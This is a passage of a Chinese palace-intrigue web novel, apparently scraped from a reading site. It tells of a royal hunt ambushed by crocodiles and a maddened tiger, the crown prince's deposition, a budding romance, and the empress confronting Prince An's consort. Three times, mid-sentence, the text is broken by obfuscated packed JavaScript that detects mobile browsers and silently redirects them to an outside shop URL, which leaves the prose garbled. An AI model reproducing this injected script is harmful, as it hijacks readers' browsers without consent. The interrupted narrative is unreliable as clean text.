侍卫长指着东边道:“往东有一处沼泽地,附近还有一大片的芦苇丛,大家伙都喜欢在那附近溜达。” 循着侍卫长的指引,队伍在林中穿梭,往东边行进。说来也怪,这一路上除了遇到了一只瘸腿的獐子外竟连一只兔子也没看到。 “这也没到冬眠的季节呀……”姜暖嘀咕道。 那沼泽地附近除了几根猪毛和带血的动物毛皮其他什么都没有,此时阳光普照大地,日头高悬,除了刚刚被沈慕朝一箭穿喉的獐子,他们什么也没猎到。 飒飒飒—— 芦苇丛中有东西。 沈慕朝和沈晏同时挽弓搭箭,姜暖离得近,便领了两个人猫着腰过去。这动静不太像大型动物,可能是禽鸟类或者偷吃鸟蛋的家伙。 姜暖用刀小心翼翼地拨开芦苇,只见一个血盆大口兜头扑来。她迅速侧身一个飞踢,身后两个侍卫被吓得一屁股坐在地上,腿下意识地蹬地想往后逃。 不成想姜暖这一脚没踢动,她又借力往后一翻。只听耳边嗖嗖两声,两支利箭离弦飞出,其中一支箭将上颚射穿,另一支怼背甲上被那玩意儿一扑腾就甩飞了。 只一个眨眼间,它便重新撤回了沼泽里。 姜暖:“鳄鱼?” “这是鼍。”沈慕朝道:“沼泽地常见,不过极难猎杀。” 刚刚那只鼍身量也不大,估计刚出生没多久,大家伙们通常躲在沼泽深处,不常在浅滩处露面。 姜暖将刀收回去,心道这地儿竟然还养了鳄鱼,不愧是皇家的动物园,突出一个地大物博壕无人性。 也不知道有没有大熊猫。 一行人正打算返回,芦苇丛中又出现了方才的飒飒声。 “难道是方才那个小鼍回来报仇了?”刚刚被吓得屁股坐在地上的侍卫小声说道。 他旁边的人回:“那怕什么,我们人多。” 飒飒飒—— 慢慢地,他们发现声音不止一处,而是以他们为中心逐渐向四周扩散开来,马匹们开始躁动不安。 姜暖咽了一下口水,问沈慕朝:“殿下,你发誓那些大家伙都会乖乖待在沼泽深处不会出来。” 这动静,沼泽地里是有多少只啊…… 沈慕朝也察觉到了不对劲,他皱眉道:“还是先想办法逃吧。” 姜暖二话不说跃上马背就开始狂奔,沈晏和沈慕朝紧随她两侧,身后的侍卫们也卯足了劲地策马逃离包围圈。 此时芦苇丛中的大家伙们陆续露了面,姜暖发誓那是她见过的最大的鳄鱼。它们像发了疯似的对他们发起猛烈的攻击,他们只能加速逃离此处,避免陷入鳄鱼群的包围圈。 一个鳄鱼扑上来咬住了一匹马的后退,将马背上的人掀翻在地,侍卫本想弃马逃走,但腿卡在马镫里拔不出来。姜暖听到惨叫本想回头救人,沈晏已经挽弓向后瞄准了那鳄鱼的眼睛。 被射中眼睛的鳄鱼吃痛地甩了甩脑袋,松开了嘴下的马腿,马背上的侍卫利落挥刀砍断了马镫,被同伴拉上了马背顺利逃走。 一时也是有惊无险。 等到他们脱离了沼泽地范围后,还没等重新整队,又遇到了一头觅食的棕熊,那棕熊看了人就应激地往上扑。 姜暖:“……” 真服了。 沈晏说这熊应该是带了崽的母熊,他们应该是不小心跑到了人家巢穴附近。 沈慕朝骑着马往前冲:“还愣着干嘛,现在又打不过。” 带崽的熊妈妈确实不太好杀,他们又是刚从鳄鱼群里逃脱,队伍气势锐减,别说熊了,现在遇到野猪她们也只能绕道而行。 两个人在沈慕朝后头跑了一段时间,回头一看,身后的侍卫们一个都没跟上来。 姜暖:“这人都去哪儿了?” 沈慕朝:“可能是没追上吧,我们在这儿等等吧。” 姜暖下马取了弓箭和箭袋,挑了较为粗壮的树就飞了上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784397|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,坐在树杈子上观察四周的动静。她和沈晏并不觉得刚刚发生的事都是巧合,好似是有人将他们往这里赶。 那七殿下在其中又扮演着什么样的角色? 沈晏看着沈慕朝脖子上密密麻麻的红疹,选择开门见山。 “不知殿下将我们引到此处,所欲何事?” 沈慕朝倒是没有丝毫惊讶,他道:“我还想着堂哥什么时候戳破这层窗户纸,没想到是挑在这个时候。” 他在李家倒台后便没想着遮掩什么,沈晏迟早会查到他的头上。 “堂哥既然对当太子没有兴趣,为何不助我一臂之力?” 沈晏静静的看着他,仿佛在看一个陌生人。 “太子之位该由皇上决定,不是我等能左右的。”他只想查清当年的真相,让凶手认罪伏诛,却不曾想竟被眼前之人算计到了争储一事中。 他的脸沉了下来:“皇后有罪,但太子无辜,你不该连他也不放过。” 沈慕朝仿佛听到了什么天大的笑话,他道:“太子他可不无辜。” “什么意思?”沈晏眉头紧蹙,难道今天这一切是太子的谋划不成? 沈慕朝:“今日抽签之时,你以为是我做的手脚,其实早就是太子安排好的。那沼泽地根本就没有野猪,你以为那侍卫长是谁的人?” 沈晏沉思了一会儿,微讶:“太子想一箭双雕?” 沈慕朝点头,又问:“陛下当年猎虎一时你可听说过?”他似是笑出声,“太子想效仿当年的父皇,来一出虎口谋权。” 太子的想法很单纯,利用秋猎制造一场意外,让七殿下和沈晏二人遇到发狂的老虎,最好能一起丧命虎口。遇上老虎,怎么也得落个残疾吧?他为了周全,还安排了自己的人在侍卫里,趁混乱的时候将侍卫们调走。 为了计划顺利进行,他提前安排了人布置好沼泽地的意外,周密地推演了路线,将他们引到雄虎的领地,为此还投喂了有毒的食物将雌虎毒死,意在引雄虎发狂。 沈慕朝从探子的口中得知这个计划之后,笑得直不起腰。不愧是英明神武的太子哥哥,能想出这般天衣无缝的计划来。 只不过是被他安排的人指点了几次,便以为只遇到了可靠的谋士。那万来详不过是暗示了几句沈晏的身世可能为真,就迫不及待地将沈晏也算计进来。 沈晏眯了眯眼睛:“太子的计划,殿下是如何知晓的?” 沈慕朝知道沈晏对他还是有所怀疑,他也不遮掩,大方坦诚道:“太子能在我身边放眼线,我便不能么?” 又说:“得知这个计划后,我可是高兴得两天两夜都没睡。”太子自掘坟墓,他可得好好配合才行。 见沈晏还是眉头紧锁,他叹了口气,道:“堂哥,我本来不想同他争的,我只想好好活着。”他眼中含泪,又低头抹了一下眼睛,继续道:“可太子从小就不喜欢我,皇后也不待见我,要不是太后仁慈,我可能早就去地下见我母亲了。后来有你护着我,我才在父皇面前说得上几句话。这次太子竟然连你都不放过,我若是不做点什么,只怕咱俩今天便要一同命丧虎口了。” 听了他这一番软言细语,沈晏的心里是有点动摇的。他儿时在皇宫亲眼见过太子放狗咬沈慕朝,皇后也不是很喜欢他。虽然不至于虐待,确实也算不上好。 沈慕朝继续攻心:“堂哥,我利用你对付皇后一事确实是我不对,但我也那是没办法。皇后平日里盯我盯得紧,我在朝中无权无势,只能任她宰割。” 姜暖紧急插话:“七殿下,你快别演了,这老虎你咋没处理啊?” 她挽弓搭箭,瞄准了不远处灌木丛的方向。 51. 第 51 章 雄虎因为发狂攻击力暴涨了不少,弓箭的威力对它来说毫无威慑,甚至一爪子将飞来的箭矢拍断。虽然后腿处中了一箭,但丝毫没影响它的行动速度。 眼见手中的箭矢已经用完,姜暖抄起腰间的刀便跳了下去。 此时沈晏将沈慕朝护在身后,刚刚雄虎后腿中箭扑向他时,沈慕朝不要命地扑过去帮他挡了一爪子,小腿上的肉都被带飞了一层皮肉,看着血腥恐怖。 “七殿下,这老虎你没处理吗?”姜暖拿刀的手都有点发抖,这玩意儿不知道是不是吃了什么兴奋剂,刀砍到身上都不知道疼的,反而更凶猛了。 沈慕朝疼得脑袋上一脑门的汗,抖着嘴唇道:“我已经安排人将这老虎关起来了,不知为何……” 沈晏看了一眼姜暖,“还能坚持多久?” 刚刚姜暖看到这头老虎过来的时候便拉了信号烟,唐田和唐枳他们应该在赶来的路上。 姜暖分散着老虎的注意力,道:“不好说,这家伙太聪明了。” 她宁愿和野猪搏斗也不愿意和老虎对打,还是一个痛失所爱发了狂的老虎! 那句话怎么说的来着,惹谁都不能惹刚死了老婆的鳏夫! “堂哥,对不起。”沈慕朝虚弱地说完这句便晕了过去。 沈晏拍他的脸:“殿下别睡!殿下!”喊了两声也不见有反应,他干脆将人捞起来绑到马背上,又一剑砍断了缰绳。马儿载着沈慕朝一路狂奔,直至无踪影。 这边姜暖一个滑铲躲过了一次猛扑,手里的刀早就被拍飞了,只能摸出贴身的小匕首。沈晏疾步上前将她扶稳,将手里的武器换成长枪。 “我来拖住他,你趁机逃走。” 姜暖喘着粗气道:“我十分同意你的安排,但……”她之前受过伤的右腿刚刚被老虎扒拉了一下,现在有点使不上劲儿。“我大概是又瘸了。” 老虎几个回合下来没吃上肉,气得前爪在地上猛刨,粗长的尾巴也烦躁地在屁股后面甩动着。低吟的虎啸混合着血腥气,熏得姜暖头皮发麻。 两人一虎对峙了半天,老虎终于按捺不住,一个后蹬腿,庞大的身躯拔地而起,虎口张到了极限,露出了骇人的虎牙。 沈晏长枪一甩,与那厮缠斗起来,姜暖握着匕首半伏地试图找一个合适的机会偷袭。但这大家伙聪明的很,知道两人是在玩声东击西的把戏,姜暖连偷两次都未得手。 战况逐渐焦灼,两人的体力开始跟不上了。 姜暖心想这附近要是有个什么悬崖瀑布啥的也好啊,电影小说不都这么演么。他俩纵身一跃,抱着崖边的粗壮藤蔓不是没有生还的可能啊! 可惜这里除了几株不太高的树就是灌木,连个可以攀爬的小山头都没有。这老虎还跟喝了兴奋剂似的,背上被扎了好几个窟窿眼儿,流的血都把毛糊成毡片了,但依旧不知疲惫地追着他俩杀。 她一个晃神间,老虎挥着一个大巴掌扇向了她,她根本来不及闪避。 完了,脸皮要起飞了。 “小心!”沈晏一个飞身扑过来,两个人抱着在地上滚了好几圈。不等姜暖回神,那畜生又迅速过来补一爪子,沈晏双手撑地呕出了一大口血。 眼见着那老虎张口就要撕咬,姜暖想也没想将手中的匕首连带着整条胳膊都送进了虎口。刀刃狠狠地扎进了它的喉管,她手腕一动,又卯足了劲将匕首旋了个方向卡在老虎的嘴里。 那畜生吃痛,甩着脑袋后退,姜暖趁机抱着沈晏翻滚进旁边的灌木丛中。 “沈晏你没事吧!”姜暖急得将沈晏扒拉了一圈,看到了他后背上带血的爪印,还有几道不浅的抓痕。 沈晏重重地咳了两声,摇摇头:“死不了。” 耳边是老虎的咆哮,还有它四处撞树的咚咚声,它半张着嘴,鲜红的血液从它的口中喷涌而出。它恼火地想将嘴里的东西吐出来,但它越用力匕首便卡得越深,最后它歪歪斜斜地轰然倒地,在血泊中嗬嗬嗬地喘着粗气。 过了一会儿,随着一声微弱的低吟,这头发狂的老虎最终走到了生命的尽头。 姜暖扶着沈晏站起来,两个人皆是一身狼狈。唐田和唐枳最先赶来,看见两人还活着都松了一口气,连忙上去搀扶。 “痛。”沈晏半搂住姜暖,根本不打算和她分开。 姜暖听他说痛,下意识将人搂紧,安抚道:“你往我身上再靠一点,我扶着你走。” 唐枳唐田脚尖一转,去检查一下老虎断没断气。 不一会儿,太子才带人姗姗来迟。 …… 因为狩猎出现了差池,所以太阳还没下山,太子便匆匆下令回宫。大伙都没什么意见,这七殿下和安王世子伤得这么重,谁还敢提今日比试的名次? 但,姜暖敢。 还理直气壮。 她和沈晏好不容易杀了一头老虎,说取消就取消吗? 她伤都没包扎就一瘸一拐地闯了太子的营帐,誓要拿回属于自己的荣誉! 太子被这个不分轻重的女人噎得半天没说出一个字,这恶虎伤人,险些害了皇子性命,大家都在慰问皇子伤情,她却跑来问他要奖赏? 太子面色不佳,不咸不淡地回了句:“此事以后再说。”这姜录事是沈晏的人,他少不得要给几分面子。 姜暖犹豫了一下,提议道:“太子你要不打个欠条?” 太子震惊! 然后非常客气地将人请了出去。 这边皇上收到北苑的消息,马不停蹄将太子召去上书房骂了两个时辰,期间又吩咐万来祥将七皇子和沈晏都接进宫里,让太医院好好诊治。 姜暖沾了沈晏的光,一同被安排去太医署走了一圈,出来的时候差点被包成了木乃伊,又在皇宫小住了几日。 安王妃听说沈晏被老虎所伤,心中担忧,早早去了门口等人回来,谁知却被皇上的人半路拦截送进了宫里。 林嬷嬷一边宽慰说世子没事,一边提议王妃要不要进宫去看看。 安王妃在房里来回走了两圈,最后还是决定不入宫。 晏儿由太医署的太医们照料,想必伤势很快便能恢复,她大可安心在府中等着,也没有必要非得进宫一趟。 秋猎一事一出,前朝百官跟猫儿嗅到了腥味儿似的。东家怀疑此事有猫腻要彻查,西家说整天一点小事就要大动干戈,幽州的河堤修好了吗?灾情解决了吗?灾民安置了吗?南家心一横提议陛下重新拟定储君人选,因为太子连秋猎这种小事都办不好将来怎么治理国家。东家附议,西家跳脚。皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789319|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上问不说话的北家怎么看,北家说今年天气不错,地里收成还可以。 就这么吵来吵去,吵到了姜暖身上的皮外伤都好得差不多了。 七殿下的人将太子纵虎伤人一事揭露,既有人证也有物证,一直支持太子的几个老臣子顿时说不出话来。 皇上对太子大失所望,终于拟旨废了太子的储君之位,改封献王。 东宫内,献王接旨,伏地叩首久久没有起身。 献王妃起身后站在原地看了他好一会儿,最后叹了一口气转身离开。在他的身后,内侍们在东宫里穿梭,忙忙碌碌地收拾着东西。 没有人在乎仍伏在地上不愿抬头起身的献王此刻在想什么,也没有人注意到那一声声压抑着的、痛苦的哭泣。 沈慕朝在离开皇宫之前,特地请旨去了一趟坤宁宫。 这一次他提前安排人送了一桌好酒好菜进来,给皇后改善伙食。皇后跪坐在地上,盯着那一桌子的美酒佳肴眼冒绿光。她咽了咽口水,警惕地看着沈慕朝:“你怎么来了?” 沈慕朝坐下给自己倒了一杯酒,“自然是来探望母后的。” 皇后拨弄了两下头发,眼底露出一丝嘲讽:“你会这么好心?” 沈慕朝的脸上浮现出一种痴迷之色,他看着眼前如同疯妇一般的皇后,脸上的笑意逐渐加深。“我还带来了一个天大的好消息。” 皇后心头警铃大作,像一条毒蛇般盯着他。 沈慕朝挑了一下眉,轻飘飘地开口:“太子哥哥被废了呢。” 皇后起初有一瞬间的怔愣,随即暴起,连滚带爬地扑过去拽住他的衣衫大喊:“你做了什么!你这个贱种!是你做的对不对!” 沈慕朝欣赏完了皇后的歇斯底里,一脚将她踹开。 “他不过是随了您一般蠢笨罢了,不过是被人撺掇了两句就急不可耐地设局谋害皇嗣。” 皇后又扑过去,嘴里大喊:“我杀了你!我杀了你!” 沈慕朝踩着她干枯的手指,居高临下地看着她,“哦对了,你还不知道吧,安王妃从广济寺搬回来了。”他天真地笑了一下,“想必不日,便要进宫了吧。” 皇后骤然停止了挣扎,她的眼神恍惚了一下,脸上的表情似哭似笑:“你在说谎!哈哈哈哈……” 这个贱种不过是拿语言激她,他肯定是在说谎。她的儿子还是太子,林语骄那个贱人早就发过毒誓不与皇上相见,她恨皇上,怎么可能会进宫! “哈哈哈哈哈哈……骗子!你们都是骗子!” 沈慕朝不理会皇后的疯言疯语,他将壶中的酒水喝完后,便离开了。还未出坤宁宫的大门,便听到了里头劈里啪啦的声音。 他接过腋拐,对负责看守皇后的太监道:“皇后不愿吃这些鱼肉荤腥之类,以后也不必再送了。” 太监低头领命:“是。” 沈慕朝离开皇宫后不久,有小太监匆匆找到万来详,说坤宁宫那边有事回禀。万来详听完心下一阵权衡,还是如实告知了皇帝。 皇帝停了笔,诧异道:“她要见安王妃?” 万来祥低头看着案牍上画了一半的仕女图,耐心地等着皇上的决定。 半晌,皇帝才开口:“等过几日,你亲自跑一趟安王府。” 52. 第 52 章 沈晏的外伤已无大碍,只是替姜暖挡的那一下伤得有点重,过了许多天都还时不时咳嗽。太医说伤了内脏,体内有淤血,要好生调养半年方可痊愈。 姜暖心头颇有点感动和愧疚,于是揽下了替沈晏换药包扎的活儿。 安王妃每日都亲自端了汤药过来,沈晏这几日在府中可谓是春风满面,任谁都看得出他最近心情特别好。 太子因谋划恶虎伤人一事被废,皇上并没有急着敲定储君人选,臣子们心头各有计较。七殿下和安王府探病的帖子都收了一摞,不过双方都默契地选择闭门谢客。 姜暖端着托盘迎面碰上了刚从沈晏卧房出来的安王妃。 安王妃笑着将她拉到了一边,问:“不知姜姑娘可有心上人?” 姜暖手一抖,差点将托盘里的药罐子打翻,这安王妃平白无故地问她这个问题做什么?该不会是要替他儿子说媒吧? 她有点紧张,清了一下嗓子道:“这个嘛……暂时还没有的。” 她觉得她有点死鸭子嘴硬,但让她现在坦白自己对沈晏还是有那么点小心思,她还是有点说不出口。 “哦,这样。”安王妃没有就此作罢的意思,反而继续问道:“那你觉得晏儿如何?” 姜暖更紧张了,差点结巴:“人挺好的……吧。” 长得也好看,身材也好,个子也高。 “挺好。” 安王妃只说了两个字,人便跟一朵云彩似的飘走了。、姜暖站在原地有点凌乱,搞不懂这是什么招数。她站在原地犹豫再三,还是端着东西进了卧房。 “今日怎么迟了一炷香?”沈晏坐在床上,衣服已经解开,露出了白皙的胸膛。 姜暖无语,“你无不无聊,连这都要计算?” 她将他半脱不脱的衣服扒干净,顺手吃了一下豆腐,不知是不是挠他痒痒肉了,他抖了一下身体,腰腹扭动了一下。 好涩。 姜暖将旧绷带轻轻揭下,用温水将残留的药泥一点一点擦掉。期间她又不经意地拂过他的腰侧,果然那小腰又扭了一下。 哇哦,开关在这里。 她将熬制好的新鲜药泥用竹片小心地按压上去涂抹均匀,灼热的气息吹拂在沈晏的后背,他不由地绷紧了身体,牙关紧咬。 姜暖拍了一下他的后腰:“别抖,药泥要掉了。” 沈晏有些委屈:“你别吹。” 姜暖解释:“今日这药泥有点烫,我不吹难道要烫死你嘛。” 沈晏小声嘀咕:“那你吹。”双手抓在床沿边,青筋凸起。 “你是什么时候发现七殿下不对劲的?”姜暖一边缠纱布,一边问。 她会发现七殿下有问题,是因为第一次去无名居拜访,回来的路上便怀疑七殿下给自己的吃食里加了东西。后来她将那日剩下的馒头拿去测试,发现那馒头里加了相思蛊的解药。知道她中相思蛊且会每个月给他送解药的,那八成就是在整件事情背后推波助澜之人。 她后来将想法告诉给沈晏,谁知道沈晏并不意外,甚至很早之前便有所怀疑了。 那沈晏又是因为什么怀疑的? “我其实一开始便怀疑过所有人。”沈晏说,从那封信出现在他手里,他便开始怀疑所有跟当年有关的人并一一排查。“其实最开始并没有怀疑他,后来结合了铜矿一事查到了当年引诱李维翰嗜赌的人曾经是七殿下府里的门客。” 姜暖转到他身前埋着脑袋在他的腰腹打蝴蝶结,他呼吸乱了一下,继续道:“那日他在你鬓间留下海棠花,又结合红叶镇发生的纵火一案,我才对他有所怀疑。” 再到后面便是姜暖发现七殿下送来的吃食掺杂了相思蛊的解药,他又查到了守忠所中的毒也是一种来自苗疆的蛊毒,这才进一步确定了七殿下于此事脱不了干系。 沈晏盯着姜暖的发顶,呼吸有些急促,指甲刮了一下指腹,按下心头的悸动。 他重新调整好呼吸,又说:“那日见他脖颈间有红疹,想必那温柔乡里的梅娘便是青衣的姐姐素练。” 姜暖抬头看了他一眼,“我那日去温柔乡查探,对方好似没有刻意隐瞒的打算。” 倒像是知道她会去一样,连个样子也不做,安排的小哥更是漏洞百出。与她过招时使用的招数套路她见过,当初在洛安追杀他们的杀手中,有几个就是这种路子。 这七殿下能耐挺大的嘛,还偷偷养了死士。 系好蝴蝶结后,姜暖满意地拍了拍,忍不住手贱摸了一把沈晏的侧腰,真是让人流连忘返的手感。 沈晏闷哼一声,反手将姜暖扑倒在床。 “你故意的是不是?”他有点咬牙切齿,胸膛起伏有点急促。 从刚刚上药开始,这人便老撩拨他,明知他腰侧怕痒,还三番五次地往那儿摸,毫无戒心可言。 他好歹也是个血气方刚对她别有心思的正常男人! 还有,她刚刚是不是说道了她去温柔乡点男馆儿? “小师姐。”他将她的双手禁锢在头顶,眼睛从她的额头上的绒毛一路看到了那张肖想了很久的红唇。“你变坏了。” 他能感觉到自己的身体在急速发烫,原本不容易脸红的他此刻脸颊也微微泛起了一层薄粉来。 姜暖眨巴了一下眼睛,只觉得腕口仿佛被拷上了烧红的镣铐,她看着沈晏那张慢慢变粉的俊脸,没有出息地咽了好大一口口水。 “你好烫啊~” 沈晏盯着姜暖的红唇有些晕晕乎乎地,他俯下身来,“我想亲你,可以吗?” 灼热的气息裹着一丝丝甜香涌进姜暖的鼻腔,她顿时觉得口干舌燥,这沈晏好似变成了山间的鬼魅,呢喃细语地挠着她的耳廓,勾得她心房起火。 气息相融时,姜暖只觉得空气愈发稀薄,但鼻腔里全是丝丝缕缕的甜,腻得她要死去一般。如火炉一般的灼热将她紧紧包围,她只觉得天旋地转,只能紧紧地抱住眼前的人。 沈晏将人压在床上亲了好一会儿,直到被推开还意犹未尽,直勾勾地盯着那已经有些红肿的双唇。 姜暖抵着沈晏的胸膛,脑壳还在发懵,刚刚她感觉自己差点被憋死。 沈晏笑着将她嘴角的水痕擦去,食髓知味道:“小师姐,我能再亲一次吗?” 姜暖气息不匀:“滚。” 沈晏伏在她的胸口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795856|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,笑出了声来。 过了一会儿,姜暖嫌沈晏重想起来,腿刚动了一下,不小心碰到了血气方刚的东西,突然想起她丢了的匕首来。 “你送给我的那个匕首是不是没取出来?” 当时光顾着问太子讨赏了,那匕首还卡在老虎的喉咙里,尸体随即就被送进宫里也不知道是做啥用,反正后来便没消息了。 那匕首她还怪喜欢的。 沈晏有些尴尬地起身,捞了外衣披上。 “没丢,我改天让唐枳进宫去找找。” 姜暖看沈晏半天没系好衣服,调侃到:“世子你怎么害羞了?刚刚分明还咬着我不松口,是不是刚才我……” 沈晏手忙脚乱地倾身过去将姜暖的嘴巴捂住,生怕她语出惊人。 “你不知羞的么?” 姜暖掰他的手,一副过来人的口吻:“人体正常的生理反应,有什么害羞的。”刚刚抱着她亲的时候怎么不害羞? “唔……” 过了好一会儿,沈晏才放开她。 “还笑话我么?” 姜暖摇头,靠在沈晏怀里呼吸急促。 娘咧,沈晏真野啊。 半个月后,沈晏的伤势大好。冬日难得有几日太阳,姜暖便陪他在琴瑟小院中晒太阳。她坐了一会儿便觉得无聊,抓了他的乌黑柔顺的头发开始编麻花辫。 小丫鬟泡了一壶菊花茶便偷笑着跑远了,姜暖手上使了点力:“都是因为你,我吃了半个月的苦瓜,喝了半个月的菊花茶!” 沈晏笑:“是你自己说的上火,可不怨我。” 姜暖扳过他的脸:“从今天开始,你不许亲我了。” 沈晏拉过她的手,在她的掌心蹭了蹭,眼含春水:“你可以拒绝我的。” 姜暖被噎了一下,她倒是想拒绝,但是每次都没经受住诱惑,她也很唾弃自己。 她抽回手,低声哼哼道:“妖精。” 自从那日她没有拒绝沈晏的亲吻后,他们的关系便突飞猛进。姜暖也开始喜欢上和沈晏的亲密接触,从一开始的半推半就到后来的顺水推舟,她能明显感觉到自己似乎真的坠入了爱河。 智者不入爱河,那她简直愚不可及。 虽然每次面对沈晏心脏都怦怦跳,但她至今还没认真考虑过以后的问题。所以每当沈晏提起成亲的话题,她都蒙混过关,试图扮演一个情场浪子。 沈晏自是心知肚明,并不打算步步紧逼,只是拼命地寻找一切机会往她身上贴,恨不得两个人能时时刻刻黏在一起。 而他眼里的冰霜似乎早就化为了一池春水,姜暖每每都被他瞧得双腿不自觉地发软。 真是有点招架不住。 安王妃将两人的旖旎氛围尽收眼底,心头替这一对有情之人而高兴。曾经,她也拥有过这么幸福甜蜜的时光,只是斯人已逝,她也不复从前那般少女心性。 林嬷嬷过来耳语:“宫里的万公公来了。” 安王妃面上闪过不悦,问:“他来干什么?” 林嬷嬷:“听说是替皇后娘娘传个口信儿。” 安王妃面色稍霁,随着林嬷嬷去了前院正厅。 53. 第 53 章 安王妃听了万来祥的来意,心下思量一番,决定入宫见皇后。 她刚走没多久,七殿下府中的下人便来递帖子,邀沈晏和姜暖过府一叙。 沈慕朝早已在庭院中备上了好酒,亭中只留下了一名女子便再无旁人。 那女子身形高挑,脖颈修长,随意地靠在柱子上,瞧着不像是府中的婢女。 沈慕朝问她:“都安排好了?” 女子懒洋洋地转过身来:“咱们的家底都在这儿了。”她为七殿下斟酒,右手的手腕处有一枝红梅。 “沈晏无意储君之位,殿下何苦做到如此地步?” 她不明白,如今太子被废,沈晏已向皇上表明自己的立场,一切都已尘埃落定。为何七殿下还要利用皇后召安王妃入宫,以及,今日设宴再试探一次沈晏。 就不怕鱼死网破,同归于尽么? 沈慕朝不知想到了什么,自嘲一声:“我同他,原本就做不了兄弟。” 皇后虽是害死他母亲的直接凶手,但皇上和安王妃才是这场悲剧开始的源头。沈晏的存在不过是在提醒他,他的出生,不过是因为当年需要一个替罪羔羊罢了。 而他的母亲,又何其无辜? 长乐宫很大,满眼的红墙金瓦一眼望不到头。长乐宫又很小,四方的高墙将天空分割成小小的格子,连一只飞鸟都装不下。 坤宁宫内,皇后早已等待了许久。 她要了一壶酒,两个酒杯,孤零零地放在桌上,像极了她当年洞房花烛的时候。 安王妃推开大门走进去,林嬷嬷守在门口。 “臣妾参见皇后娘娘,娘娘千岁。” 皇后慢慢地移动眼珠子,“你来啦?”她像是见到了许久未见的友人,脸上的笑容却分外怪异。 安王妃起身后站着没动,昂首道:“多年未见,娘娘可安好?” 皇后今日穿着隆重的朝服,凤冠沉甸甸地压在脑袋上,妆容虽雍容华贵却也遮不住她眼神里的苍老。 她们都不再年轻了。 皇后端坐高台,却没有半分与她叙旧的心思,只是居高临下地打量着她,“云妃与你确实有几分相似。” 云妃当年得宠过一段时间,听说是皇上喜欢云妃身上的兰香味儿。她便使了些手段将云妃的身上烫了好几个疤,又不许太医尽心医治。而后那伤口腐烂化脓散发出恶臭,云妃身上再也闻不到兰香了。 但皇上还是总去看她,她百思不得其解。直到她死了才知道,原来是那眉眼间像一个人,皇上心头的人,怪不得皇上总是为她作画。 画得哪里是云妃,分明是安王妃林语骄! 安王妃叹了一口气:“娘娘怕是记错了罢。”她未见过云妃,从前也并未听人提起过这皇宫里有与她相似的妃子。她之前就听闻皇后得了疯症,时常胡言乱语,记忆混乱。 看来,是真的病得很严重。 皇后笑出声:“原来你竟不知道?”她从椅子上起身,缓步走下小台阶,“宫里有鼻子有眼地传了那么久,你竟然不知道?” 安王妃瞧着皇后越笑越扭曲,不由地往后退了退,“妾身从未听闻此事。” 皇后逼近她,止了笑:“也是,当今皇上玷污皇嫂这种丑事自然需要遮掩。” 安王妃面色一白,问:“娘娘这句话是什么意思?” 皇后背对着她像个木偶一般偏着脑袋,只斜过眼睛瞧她,讥笑道:“那晚皇上醉酒在偏殿宠幸了一名女子,你猜你为何能全身而退?” 安王妃心头一阵惊涛骇浪,当夜她被安王护着匆匆离去,倒是不曾留意后来发生的事。不久她便被安王带离了昭宁城,直到生下了晏儿才不得已返回。 皇后口中提起的云妃,她也是回来后才知道的。不过后宫的事她向来不关注,所以便没怎么在意。 “林语骄,你知道我最讨厌你什么吗?” 皇后的表情变得麻木,她像个被抽取了灵魂的傀儡,只有嘴巴在一张一合:“你总是装得纯洁无辜,置身事外。” “最后皇上护着你,安王也护着你。” “你拿走了皇上的心,把一个冰冷的躯壳扔给我,我付出全部真心去捂,却怎么也捂不热。你还装模作样的来开解我,我还像个傻子似的去找你替我们俩撮合。结果呢?”皇后的手抬起来,转了一个圈,“我现在人不像人,鬼不像鬼!” 安王妃张了张口。 皇后又继续说道:“在我的寿宴上,你背着我与皇上苟且,最后逼的万来祥找来一个宫女替你掩盖,企图瞒天过海,堵住悠悠众口。而她也因为你,被逼的入宫为妃,最后让我磋磨而死……” 安王妃往后踉跄了两步,手指掐得通红,“为什么…没有人告诉我…我……” 皇后又在笑:“后来她死了,我才知道她是为了给你遮丑,不得已被抬上了龙床。” “我听说啊,她原本还有两年就可以出宫了。”皇后的表情突然变得很无辜,她歪着头,似乎是在思考:“她在宫外还有个未婚夫呢,一直等着她,等了她好多年。” “可因为你,他们被拆散啦!” 安王妃听到此处只觉得头晕目眩,她几乎快站不稳。 另一边,沈晏和姜暖坐在亭中,听着沈慕朝讲起了他母妃被皇后折辱致死的故事。 他的母妃本是做洒扫的宫女,原本打算熬到了年龄便出宫与心上人成亲,但阴差阳错成了皇上的妃子,每日在皇后的欺辱中偷生。 最终,被皇后以得了天花为由,关进了冷宫中活活饿死了。 